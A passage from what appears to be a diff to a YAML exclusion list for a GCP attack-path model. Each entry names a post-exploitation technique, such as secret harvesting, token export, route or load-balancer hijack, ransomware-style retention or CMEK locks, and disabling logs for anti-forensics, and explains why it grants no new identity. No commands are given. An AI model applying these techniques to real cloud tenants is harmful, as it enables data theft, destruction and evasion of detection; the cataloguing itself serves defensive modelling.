pipeline is covered on the Eventarc privesc page, + while changing the token SA requires actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarcmessagebusespublish--channelspublish--channelconnectionspublish--inject-attacker-chosen-events + technique: eventarc.messageBuses.publish / channels.publish / channelConnections.publish — inject attacker-chosen events + reason: Event injection can activate a handler, but obtaining its identity requires application-specific behavior or another + configured pipeline path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-data-fusion-post-exploitation.md#datafusionsecurekeysgetsecret--read-a-namespace-secure-store-value + technique: datafusion.secureKeys.getSecret — read a namespace secure-store value + reason: 'No configuration-derived second identity: stored secret read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-transcoder-post-exploitation.md#transcoderjobscreate--re-host-media-readable-by-the-service-agent + technique: transcoder.jobs.create — re-host media readable by the service agent + reason: media exfil via service agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationmigratingvmscreate--vmmigrationmigratingvmsupdate--migrate-an-aws-unattached-volume + technique: vmmigration.migratingVms.create + vmmigration.migratingVms.update — migrate an AWS unattached volume + reason: disk data exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationimageimportscreate--make-the-service-agent-read-a-disk-image-from-cloud-storage + technique: vmmigration.imageImports.create — make the service agent read a disk image from Cloud Storage + reason: disk image read via agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationclonejobscreate--materialize-a-replicated-vm-and-read-its-snapshot + technique: vmmigration.cloneJobs.create — materialize a replicated VM and read its snapshot + reason: Replica disk access is data export. Execution as the configured VM SA is already gcp-vmmigration-migratingvm-metadata-clone + (requires update + clone). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-runtimeconfig-post-exploitation.md#runtimeconfigvariablesget--list--recover-stored-variable-values + technique: runtimeconfig.variables.get (+ .list) — recover stored variable values + reason: config/secret read; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-personalized-service-health-post-exploitation.md#servicehealtheventslist--infer-productlocation-usage-and-monitor-defensive-outages + technique: servicehealth.events.list — infer product/location usage and monitor defensive outages + reason: recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-parameter-manager-post-exploitation.md#parameterversionsrender--read-secret-manager-secrets-you-dont-have-access-to + technique: parameterVersions.render — read Secret Manager secrets you don't have access to + reason: Render returns referenced secret values. An identity edge requires validated credential content and an + exact stronger-principal mapping; arbitrary payloads remain data. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectusersfetchaccesstoken---recover-the-callers-own-linked-oauth-token + technique: developerconnect.users.fetchAccessToken - recover the caller's own linked OAuth token + reason: This method is self-only for the Google user, but it can return that user’s linked external-provider + OAuth token. Model only the same user’s provider identity and consented scopes when supported; never another + User record. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectgitrepositorylinksfetchreadtoken---export-a-linked-repository-read-credential + technique: developerconnect.gitRepositoryLinks.fetchReadToken - export a linked repository read credential + reason: A raw token can authenticate to the named external repository as the linked installation; retain + an exclusion only until external_scm_identity targets and repository-link facts are supported. Do not infer + wider provider scope. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectgitrepositorylinksfetchreadwritetoken---export-a-provider-write-credential + technique: developerconnect.gitRepositoryLinks.fetchReadWriteToken - export a provider write credential + reason: The pipeline entry covers downstream GCP execution only. A fetched write token independently grants + access to the named external repository when the provider permits writes; model that external identity + when supported. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksget--cloudtaskstaskslist--cloudtaskstasksfullview---harvest-secrets-from-queued-work + technique: cloudtasks.tasks.get | cloudtasks.tasks.list (+ cloudtasks.tasks.fullView) - harvest secrets from queued work + reason: 'No configuration-derived second identity: secret read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksrun---replay-queued-work-on-demand + technique: cloudtasks.tasks.run - replay queued work on demand + reason: Runtime-only task URL and task body determine whether a replayed token reaches an attacker; run alone returns no + token and cannot edit the task. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksdelete---selectively-or-batch-delete-queued-work + technique: cloudtasks.tasks.delete - selectively or batch-delete queued work + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtasksqueuespurge--pause--delete---destroy-or-stall-queued-business-work + technique: cloudtasks.queues.purge / .pause / .delete - destroy or stall queued business work + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vpc-network-post-exploitation.md#networkconnectivitypolicybasedroutescreate--steer-matching-traffic-to-an-attacker-controlled-next-hop + technique: networkconnectivity.policyBasedRoutes.create — steer matching traffic to an attacker-controlled next hop + reason: traffic redirection; reachability or interception alone needs a separate credential or vulnerable service. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vpc-network-post-exploitation.md#networkconnectivityinternalrangescreate--vpc-ipam-squat--subnet-allocation-dos + technique: networkconnectivity.internalRanges.create — VPC IPAM squat / subnet-allocation DoS + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-container-analysis-post-exploitation.md#containeranalysisoccurrenceslist--get--recover-software-supply-chain-metadata + technique: containeranalysis.occurrences.list / .get — recover software-supply-chain metadata + reason: 'No configuration-derived second identity: supply-chain metadata read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-container-analysis-post-exploitation.md#occurrencescreate--notesattachoccurrence--a-registered-signing-key--authorize-a-chosen-digest + technique: occurrences.create + notes.attachOccurrence + a registered signing key — authorize a chosen digest + reason: 'No configuration-derived second identity: admission bypass only; deploy separate.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md#dialogflowwebhooksupdate--redirect-retained-external-authentication-material + technique: dialogflow.webhooks.update — redirect retained external authentication material + reason: Existing generic webhooks can forward retained external headers, Basic credentials, or OAuth client + secrets to a controlled endpoint on a later matching route. Model the external credential target when supported; + Google SA/OIDC variants remain excluded. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsrestore + technique: storage.buckets.restore + reason: bucket recovery/destination re-establish; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#signed-urls--credential-free-exfil--covert-write-iamserviceaccountssignblob + technique: Signed URLs — credential-free exfil & covert write (iam.serviceAccounts.signBlob) + reason: Duplicate of gcp-iam-serviceaccounts-signblob. That entry already models SA signing authority; Storage URL use adds + no permission alternative. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storageobjectsdelete + technique: storage.objects.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsdelete-storageobjectsdelete--storageobjectslist + technique: storage.buckets.delete, storage.objects.delete & storage.objects.list + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--irreversible-retention-lock-denial--ransomware--anti-forensics + technique: storage.buckets.update — irreversible retention lock (denial / ransomware / anti-forensics) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebatchoperationsjobscreate--serverless-bulk-delete--re-encrypt--hold-strip-mass-dos--ransomware + technique: storagebatchoperations.jobs.create — serverless bulk delete / re-encrypt / hold-strip (mass DoS & ransomware) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketssetipfilter--storagebucketsupdate + technique: storage.buckets.setIpFilter & storage.buckets.update + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--default-cmek-repoint-ransom-of-future-writes + technique: storage.buckets.update — default-CMEK repoint (ransom of future writes) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storageobjectssetretention--object-holds--per-object-un-deletable-lock + technique: storage.objects.setRetention / object holds — per-object un-deletable lock + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--disable-soft-delete--versioning-anti-forensics-multiplier + technique: storage.buckets.update — disable soft-delete & versioning (anti-forensics multiplier) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--lifecycle-rule-as-deferred-deniable-mass-deletion + technique: storage.buckets.update — lifecycle rule as deferred, deniable mass-deletion + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compliance-manager-post-exploitation.md#cloudsecuritycomplianceframeworkdeploymentsdelete--cloudcontroldeploymentsdelete--update--tear-down-or-weaken-enforced-controls + technique: cloudsecuritycompliance.frameworkDeployments.delete / cloudControlDeployments.delete / .update — tear down or + weaken enforced cont + reason: 'No configuration-derived second identity: security control teardown.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-deployment-manager-post-exploitation.md#deploymentmanagermanifestsget--discovery-permissions--recover-configuration-and-unredacted-credentials + technique: deploymentmanager.manifests.get (+ discovery permissions) — recover configuration and unredacted + credentials + reason: Manifest content may expose a reusable credential, but the target identity is unknown until a verified + credential is found. A collected, live GCP service-account key is modeled by gcp-deploymentmanager-manifest-credential; + other secret types remain content-dependent. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpdeidentifytemplatesget--reuse-a-reversible-template-to-reverse-tokens + technique: dlp.deidentifyTemplates.get — reuse a reversible template to reverse tokens + reason: 'No configuration-derived second identity: data re-identification.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpjobscreate--read-through-the-dlp-service-agent-and-export-quoted-findings + technique: dlp.jobs.create — read through the DLP service agent and export quoted findings + reason: 'No configuration-derived second identity: service-agent confused-deputy data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpcontentpoliciesupdate--turn-gemini-enterprise-sensitive-content-gates-into-allow-rules + technique: dlp.contentPolicies.update — turn Gemini Enterprise sensitive-content gates into allow rules + reason: 'No configuration-derived second identity: security control bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpdeidentifytemplatesupdate--make-a-shared-transform-pass-sensitive-values-through + technique: dlp.deidentifyTemplates.update — make a shared transform pass sensitive values through + reason: 'No configuration-derived second identity: data masking bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpinspecttemplatesupdate--blind-template-driven-inspection + technique: dlp.inspectTemplates.update — blind template-driven inspection + reason: 'No configuration-derived second identity: detection evasion.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md#workflowsworkflowsget--recover-workflow-source-and-its-execution-identity + technique: workflows.workflows.get — recover workflow source and its execution identity + reason: Workflow serviceAccount metadata is reconnaissance; sourceContents can disclose a reusable credential + only when content and owner are verified. workflows.workflows.get alone does not establish an identity edge. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-discovery-engine-post-exploitation.md#discoveryengineservingconfigssearch--read-a-periodic-bigquery-copy-whose-imported-acls-are-not-enforced + technique: discoveryengine.servingConfigs.search — Read a Periodic BigQuery Copy Whose Imported ACLs Are Not Enforced + reason: 'No configuration-derived second identity: indexed data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-discovery-engine-post-exploitation.md#data-plane-read--search--grounded-answers-leak-indexed-content-rolesdiscoveryengineviewer + technique: Data-plane read — search & grounded answers leak indexed content (roles/discoveryengine.viewer) + reason: 'No configuration-derived second identity: indexed data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secure-source-manager-post-exploitation.md#repositoriesfetch--read-apis--harvest-private-source-and-unmerged-review-intelligence + technique: repositories.fetch + read APIs — harvest private source and unmerged review intelligence + reason: Repository fetch is data access unless committed content contains a validated stronger credential mapped + to an exact principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-web-security-scanner-post-exploitation.md#create-and-run-a-custom-scan-to-map-a-projects-public-application + technique: Create and run a custom scan to map a project's public application + reason: app vulnerability recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesgetguestattributes--read-guest-attributes-ssh-host-keys--bootstrap-secrets-without-ssh + technique: compute.instances.getGuestAttributes — read guest attributes (SSH host keys / bootstrap secrets) without SSH + reason: Reads stored or guest-produced values; a useful credential is contingent on runtime content. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#read-serial-console-output---computeinstancesgetserialportoutput + technique: Read serial-console output - compute.instances.getSerialPortOutput + reason: Reads stored or guest-produced values; a useful credential is contingent on runtime content. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesnapshotssetiampolicy--computeimagessetiampolicy--resource-level-exfil-share + technique: compute.snapshots.setIamPolicy / compute.images.setIamPolicy — resource-level exfil share + reason: Offline filesystem/data access or resource sharing; any credential found is runtime data, not a configuration-derived + identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computepacketmirroringscreate--traffic-interception-by-passive-packet-mirroring + technique: compute.packetMirrorings.create — traffic interception by passive packet mirroring + reason: 'No configuration-derived second identity: traffic interception.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutescreate--next-hop-instance-route-hijack-active-in-path-mitm + technique: compute.routes.create — next-hop-instance route hijack (active in-path MITM) + reason: 'No configuration-derived second identity: network MITM.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--bgp-advertised-route-tampering-dynamic-route-hijack--blackhole + technique: compute.routers.update — BGP advertised-route tampering (dynamic-route hijack / blackhole) + reason: 'No configuration-derived second identity: network hijack/DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeurlmapsupdate--load-balancer-backend-hijack + technique: compute.urlMaps.update — load-balancer backend hijack + reason: 'No configuration-derived second identity: traffic redirection.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computebackendbucketsupdate--computebackendservicesupdate--cloud-cdn-cache-poisoning--response-tamper + technique: compute.backendBuckets.update / compute.backendServices.update — Cloud CDN cache poisoning & response tamper + reason: 'No configuration-derived second identity: response tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computebackendbucketsaddsignedurlkey--computebackendservicesaddsignedurlkey--inject-a-cloud-cdn-signed-urlcookie-signing-key-access-control-bypass + technique: compute.backendBuckets.addSignedUrlKey / compute.backendServices.addSignedUrlKey — inject a Cloud CDN signed-URL/cookie + signing ke + reason: 'No configuration-derived second identity: CDN content access bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesaddaccessconfig--expose-an-internal---no-address-vm-to-the-internet + technique: compute.instances.addAccessConfig — expose an internal (--no-address) VM to the internet + reason: 'No configuration-derived second identity: network exposure.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computerouterscreate--computeroutersupdate--cloud-nat-outbound-egress-for-isolated-vms-stealthy-exfil--c2 + technique: compute.routers.create + compute.routers.update — Cloud NAT outbound egress for isolated VMs (stealthy exfil + / C2) + reason: 'No configuration-derived second identity: network egress.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--private-nat-trusted-source-impersonation-ncchybrid-allowlist-bypass + technique: compute.routers.update — Private NAT trusted-source impersonation (NCC/hybrid allowlist bypass) + reason: 'No configuration-derived second identity: network allowlist bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesupdatenetworkinterface--claim-unused-alias-ips-in-a-trusted-secondary-range + technique: compute.instances.updateNetworkInterface — claim unused alias IPs in a trusted secondary range + reason: 'No configuration-derived second identity: network allowlist bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancessetmetadata--computeprojectssetcommoninstancemetadata--interactive-serial-console-access-firewall--iap-bypass + technique: compute.instances.setMetadata / compute.projects.setCommonInstanceMetadata — interactive serial-console access + (firewall / IAP byp + reason: Gateway reachability needs a separate guest login and actAs for an attached SA; metadata-write identity paths are + covered by gcp-compute-instances-setmetadata-existing-vm and gcp-compute-projects-setcommoninstancemetadata. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesupdateshieldedinstanceconfig--disable-secure-boot--integrity-monitoring-anti-forensics + technique: compute.instances.updateShieldedInstanceConfig — disable Secure Boot / Integrity Monitoring (anti-forensics) + reason: 'No configuration-derived second identity: anti-forensics.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesecuritypoliciesupdate--cloud-armor-wafdeny-bypass + technique: compute.securityPolicies.update — Cloud Armor WAF/deny bypass + reason: 'No configuration-derived second identity: WAF bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesubnetworksupdate--disable-vpc-flow-logs-anti-forensics + technique: compute.subnetworks.update — disable VPC Flow Logs (anti-forensics) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#networkmanagementvpcflowlogsconfigsdelete--update--disable-central-vpc-flow-logs-anti-forensics-separate-api + technique: networkmanagement.vpcflowlogsconfigs.delete / .update — disable *central* VPC Flow Logs (anti-forensics, separate + API) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--disable-cloud-nat-logging-egress-monitoring-blind-spot + technique: compute.routers.update — disable Cloud NAT logging (egress-monitoring blind spot) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-service-directory-post-exploitation.md#servicedirectoryendpointscreateupdate--poison-service-discovery + technique: servicedirectory.endpoints.create/update — poison service discovery + reason: service-discovery traffic redirection; reachability or interception alone needs a separate credential or vulnerable + service. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamconnectionprofilesdiscover--live-source-db-schema-recon-read-only-role-reaches-it + technique: datastream.connectionProfiles.discover — live source-DB schema recon (read-only role reaches it) + reason: 'No configuration-derived second identity: recon.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamobjectsstartbackfilljob--copy-selected-source-rows-through-an-existing-stream + technique: datastream.objects.startBackfillJob — copy selected source rows through an existing stream + reason: 'No configuration-derived second identity: data copy.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamstreamspause--resume--delete--disrupt-or-stop-replication + technique: datastream.streams.pause / .resume / .delete — disrupt or stop replication + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsaccess + technique: secretmanager.versions.access + reason: A secret version can hold a stronger credential, but its content, validity and exact principal mapping + must be verified; metadata or permission alone is data read. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsadd + technique: secretmanager.versions.add + reason: Changes a secret value consumed by an application; no documented deterministic execution-as-SA path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsupdate + technique: secretmanager.secrets.update + reason: secret lifecycle tampering; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#version-alias-repointing--secretmanagersecretsupdate-secretmanagersecretsget + technique: Version alias repointing — secretmanager.secrets.update (secretmanager.secrets.get) + reason: Selects a stored secret version; any identity gain depends on its payload and consumer behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsdestroy + technique: secretmanager.versions.destroy + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsdisable + technique: secretmanager.versions.disable + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsdelete + technique: secretmanager.secrets.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsupdate--regional-secret-cmek-hijack-remote-kill-switch + technique: secretmanager.secrets.update — regional-secret CMEK hijack (remote kill-switch) + reason: CMEK kill-switch DoS; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-unified-maintenance-post-exploitation.md#maintenanceresourcemaintenanceslist--enumerate-resources-and-maintenance-windows + technique: maintenance.resourceMaintenances.list — enumerate resources and maintenance windows + reason: resource recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md#weaken-or-delete-semantic-governance-tool-guardrails + technique: Weaken or delete Semantic Governance tool guardrails + reason: Removes an application tool guardrail but gives no new IAM grant; follow-on tool authority must already exist. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#oracledatabaseautonomousdatabasesgeneratewallet--pull-the-connection-wallet--full-db-access + technique: oracledatabase.autonomousDatabases.generateWallet — pull the connection wallet → full DB access + reason: Wallet retrieval can grant a database-user credential; current catalog lacks a DB-user target and wallet + authentication facts. It does not confer GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#oracledatabaseautonomousdatabasesclone--restore--offline-copy-exfil + technique: oracledatabase.autonomousDatabases.clone / .restore — offline copy exfil + reason: data read/exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#availability-tampering--failover--switchover--stop--delete + technique: Availability tampering — failover / switchover / stop / delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysretrievelegacysecretkey--retrieve-the-legacy-verifier-secret + technique: recaptchaenterprise.keys.retrievelegacysecretkey — retrieve the legacy verifier secret + reason: app verifier secret (data); no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#relatedaccountgroupslist--relatedaccountgroupmembershipslist--map-related-victim-accounts + technique: relatedaccountgroups.list + relatedaccountgroupmemberships.list — map related victim accounts + reason: recon of app accounts; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterpriseassessmentsannotate--submit-false-fraud-model-feedback + technique: recaptchaenterprise.assessments.annotate — submit false fraud-model feedback + reason: data/config tampering; any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysupdate--recaptchaenterprisepoliciesupdate--weaken-key-and-challenge-enforcement + technique: recaptchaenterprise.keys.update / recaptchaenterprise.policies.update — weaken key and challenge enforcement + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysupdate--pin-valid-assessments-from-an-ip-to-score-09 + technique: recaptchaenterprise.keys.update — pin valid assessments from an IP to score 0.9 + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisefirewallpoliciescreate--update--return-an-attacker-favorable-firewall-action + technique: recaptchaenterprise.firewallpolicies.create / .update — return an attacker-favorable firewall action + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-source-repositories-post-exploitation.md#sourcereposget--clone-private-source-and-inspect-all-reachable-history + technique: source.repos.get — clone private source and inspect all reachable history + reason: Repository read can expose a reusable service-account key in reachable Git history, but that requires + validated content and key-owner evidence; source.repos.get alone does not identify a gained principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#bigquery-export-subscription-exfil-sink---pubsubsubscriptionscreate--pubsubtopicsattachsubscription + technique: BigQuery export subscription exfil sink - pubsub.subscriptions.create + pubsub.topics.attachSubscription + reason: data read/exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsupdate--reuse-a-stored-custom-writer-without-caller-actas + technique: pubsub.subscriptions.update — reuse a stored custom writer without caller actAs + reason: Stored writer performs only BigQuery/Storage delivery; no token or arbitrary code. A code-bucket poisoning chain + would require an actual configured code consumer. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#cloud-storage-subscription-bucket-name-hijack---storagebucketsdelete + technique: Cloud Storage subscription bucket-name hijack - storage.buckets.delete + reason: bucket-name hijack exfil; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsupdate + technique: pubsub.subscriptions.update + reason: message redirection/DoS (new OIDC SA = OIDC-only, excluded); changes availability or detection, not another principal's + privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionscreatepubsubtopicsattachsubscription--pubsubsubscriptionsconsume + technique: '**pubsub.subscriptions.create,**pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)' + reason: message siphon (data); any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicspublish + technique: pubsub.topics.publish + reason: Consumer behavior depends on application logic or a vulnerability; publishing alone gives no code or identity control. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsupdate + technique: pubsub.topics.update + reason: topic config DoS; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicscreate--pubsubtopicsupdate--import-topic-cloud-storage-ingestion-message-injection + technique: pubsub.topics.create / pubsub.topics.update — import-topic (Cloud Storage ingestion) message injection + reason: Ingests attacker messages, but identity gain depends on a consumer vulnerability or application-specific command + interpretation. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsnapshotscreate-pubsubsnapshotsseek + technique: pubsub.snapshots.create, pubsub.snapshots.seek + reason: message replay (data); any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsdetachsubscription + technique: pubsub.topics.detachSubscription + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsdelete + technique: pubsub.topics.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsdelete + 